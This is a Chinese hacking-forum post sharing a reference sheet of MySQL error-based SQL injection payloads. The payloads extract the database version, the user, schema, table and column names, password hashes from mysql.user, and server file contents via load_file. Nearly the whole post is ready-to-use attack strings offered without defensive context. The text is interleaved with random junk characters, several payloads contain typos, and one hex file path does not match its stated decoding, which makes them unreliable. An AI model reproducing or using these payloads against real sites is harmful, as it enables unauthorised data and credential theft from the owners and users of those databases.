找回密码
 立即注册
查看: 2941|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
( R) `% B4 a* E& V$ o. S5 \5 Z" D
2 B2 {+ @4 E; ]) i% O
1 C) R. G, z% ~2 SMysql暴错注入参考(pdf),每天一贴。。。! Q; A# p7 s# k  s0 ^
: o( m- P# A( }5 e, B& q$ q
MySql Error Based Injection Reference2 ^# t/ n% }+ D( J' f5 D* N! e) u
[Mysql暴错注入参考]
) A4 n+ k% P# {7 _7 _5 K9 x5 L" L) IAuthornig0s1992: c8 Q* e5 t) k2 F
Blog:http://pnig0s1992.blog.51cto.com/( }5 ?2 q$ @/ [1 W* P+ O
TeAm:http://www.FreeBuf.com/
- Y- j! u8 `. ]$ y$ |Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功8 W9 d3 {/ N2 N# H$ M* s) @% j
小部分版本使用name_const()时会报错.可以用给出的Method.2测试- m- `- x( i) E# G8 j0 D
查询版本:  r8 a! v' A) k  q5 x9 B7 t8 ~
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+1 G. H. m+ P0 i( v1 t
join+(select+name_const(@@version,0))b)c)5 H$ C! r/ g6 {
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
2 ?* V5 n' i; x* e1 b, U0 u- Fup by a)b)+ Y, m8 ^, }5 Z, |8 j9 J( _
查询当前用户:
  c- U0 I: H  d1 k2 S& p6 TMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)9 k8 J: ]( O6 z" i7 h9 w& X3 ?
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r* C1 w0 s& o% b7 h7 f2 [; X* K' n
and(0)*2))x+from+information_schema.tables+group+by+x)a)
. U1 x8 |8 J+ P9 x查询当前数据库:
5 L) k- R9 p5 S1 C; Z5 eMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) _' [) O5 l5 Z- ]Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo. P) e( U% d( e! t, Q9 n$ h
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
. |" q3 ]7 H5 d7 d依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+; f6 R8 x2 J* ~4 Z+ Y5 G
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
2 J/ ^9 J; z1 a4 Z' x. s" t顺序替换
3 I) Q$ \6 X( N( p; y' |7 _  e& m爆指定库数目:( }0 B: n" X0 |* a9 @9 U' D
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
# U9 D; ?5 j5 d6 g$ ^able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group2 T/ C' x( X7 \+ f2 O' A- i4 m6 ?
+by+x)a)+and+1=1 0x6D7973716C=mysql) f3 ]) l5 @6 X
依次爆表:4 e; _; A1 Q4 p4 q: A* G' F
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
. S, `- y' f/ s. [% ~able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
) H# X& C& C1 D/ D6 r8 z3 q4 Lbles+group+by+x)a)+and+1=10 z+ i4 P* ^1 z4 c) r' k
0x6D7973716C=Mysql 将n顺序替换+ c0 b$ w& u% \0 v0 J& ~& A6 }
爆表内字段数目:; V8 i6 f- s1 t) L7 b& A! o; }
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
6 }6 t7 `; I: |5 A' v' D& x0 _+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran* s- B9 U) e0 h9 h/ G- _' N2 w# D
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=14 }% I0 A8 W; t2 @- q- N0 `
依次爆字段:
; c* R7 h/ D0 H/ d1 O* f0 Q3 Tand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where; a9 W0 ]* ~- L8 |
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1) {, i+ i, ~3 I- G/ o  n% e9 ?
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
  u- [$ r' m* i5 p6 Z& B) k依次暴内容:
6 @: @; j; V& m- U5 Nand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche% Y1 D  R7 W( Z8 k
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=11 F" p$ g( O" D$ V- W* e
将n顺序替换& l+ h( H; x3 h' E& N
爆文件内容:
" b' z2 ?7 y! C  U) Z+ @' r- Rand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a+ b4 @. q+ \- ?3 h1 Q7 ~" y
from+information_schema.tables+group+by+a)b)
$ k; T% ?3 F7 B+ a9 W0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节4 n/ ?5 _, T9 c
Thx for reading.- S: ~: V4 t. k, R$ N) `

8 S  P5 o5 r& _" K8 S4 X/ f不要下载也可以,
- y" x! g/ }' u8 B! m- c2 I

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表